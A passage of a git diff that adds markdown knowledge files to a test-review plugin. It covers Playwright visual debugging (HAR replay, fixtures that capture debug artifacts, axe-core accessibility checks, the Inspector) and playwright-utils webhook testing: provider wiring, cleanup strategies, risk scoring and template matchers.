+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
